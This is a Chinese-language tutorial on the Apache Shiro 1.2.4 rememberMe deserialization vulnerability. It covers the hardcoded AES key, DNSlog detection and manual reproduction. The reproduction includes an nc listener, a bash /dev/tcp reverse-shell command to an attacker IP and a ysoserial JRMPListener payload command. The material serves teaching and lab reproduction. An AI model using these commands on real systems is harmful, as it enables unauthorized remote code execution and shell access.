网络安全深入学习第五课——热门框架漏洞(RCE— Apache Shiro 1.2.4反序列化漏洞)

文章目录


一、序列化和反序列化

  • 什么是序列化?

    序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,保证对象的完整性和可传递性;

  • 什么是反序列化?

    反序列化即逆过程,由字节流还原成对象。根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

简单理解,序列化就是把对象转换为电脑能看懂的格式(字节流),反序列化就是把对象转换为人能看得懂的格式(字符、数字)。

在PHP中序列化和反序列化对应的函数分别为serialize()unserialize()


二、反序列化漏洞原理

------ 当程序在进行反序列化时,会自动调用一些函数,以PHP为例有__wakeup()、__destruct()等函数,Java中有readObject()方法等等,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

------ 危害:

  1. 远程代码执行,如:system('whoami')、system('cat/etc/passwd')等
  2. 重放攻击
  3. 注入
  4. 特权提升

三、Apache Shiro 1.2.4反序列化漏洞

1、漏洞描述:

------ Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

2、漏洞影响的版本

------ Apache Shiro <=1.2.4

3、Shiro反序列化漏洞原理

------ AES加密的密钥Key被硬编码在代码里,Shiro是开源软件,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞

------ Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问

------ 也就是说它使用了CookieRememberMeManager类对用户的登陆凭证进行处理。我们可以把AES加密的密钥爆破出来。

4、工作原理:

在服务端接收cookie值时,按照如下步骤来解析处理:

  1. 检索RememberMe cookie 的值
  2. Base 64解码
  3. 使用AES解密(加密密钥硬编码)
  4. 进行反序列化操作,生成用户登录信息对象(未作过滤处理)
    在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

5、shiro反序列化的特征:

返回包中存在 rememberMe=deleteMe 字段


四、Apache Shiro 1.2.4反序列化漏洞手工复现

1、使用DNSlog严重漏洞是否存在

  • 1)dnslog申请一个临时域名:qsg7i9.dnslog.cn

  • 2)使用shiro.py 脚本,生成检测payload(dns解析)

    例如:python shiro.py "http:// qsg7i9.dnslog.cn "

  • 3)路径下获得了一个payload.cookie

    生成的文件里面有一个序列化的payload

  • 4)把生产的payload复制下来,然后放到Burp上面进行重放

  • 5)返回DNSlog上面去查看

    这样就说明存在反序列化漏洞了。

2、VPS监听端口

nc -lvvp 反弹shell所到的端口

3、构造反弹shell命令,并且进行base64编码

反弹shell命令:

/bin/bash -i >& /dev/tcp/反弹shell所到的IP/ 反弹shell所到的端口 0>&1

  • 编码前:

  • 编码后:

4、在VPS开启一个JRMP(端口设置1099)

  • 使用工具:ysoserial-master-SNAPSHOT.jar

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,反弹shell命令经过base64编码后的内容}|{base64,-d}|{bash,-i}"

5、使用s.py构造payload,构造jrmp请求远程恶意序列化数据

python3 s.py 攻击者IP:1099

这个工具相当于代替我们把payload进行了AES解密,然后进行了base64编码。

6、前台登录,注意需要勾选Remember Me ,截获数据包,加入payload,将payload发送服务器


五、使用工具检查

下面是工具:shiroexpv3.0


相关推荐
网安老伯29 分钟前
网络安全基础要点知识介绍(非常详细),零基础入门到精通,看这一篇就够了
运维·前端·网络协议·web安全·网络安全·职场和发展
天天爱吃肉82181 小时前
AI Agent时代你的经验值多少钱?
人工智能·python·功能测试·学习·汽车
hongyucai5 小时前
随意学习-模型工程:因子、隐空间、采样策略
学习
Amazing_Cacao9 小时前
CFCA精品可可产区风土体系(亚洲):彻底拒绝应试背诵,将感官复核作为检验真实物理差异的唯一铁律
学习
绘梨衣的sakura路10 小时前
Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析:三层绕过机制与完整利用链
安全·web安全·json
niaiheni13 小时前
Fastjson 1.2.83 “Gadget-Free“ RCE
网络·安全·web安全
Draina13 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
caimouse15 小时前
protoc-gen-c 支持 proto3 `optional` 关键字修改记录
c语言·学习
憧憬成为java架构高手的小白15 小时前
黑马八股--中间件学习之MQ(RabbitMQ)
学习·中间件
白山云北诗16 小时前
漏洞扫描+渗透测试:从资产摸底到风险验证,完成二次安全收口
网络·安全·web安全·渗透测试·漏洞扫描·ddos防护·cc防护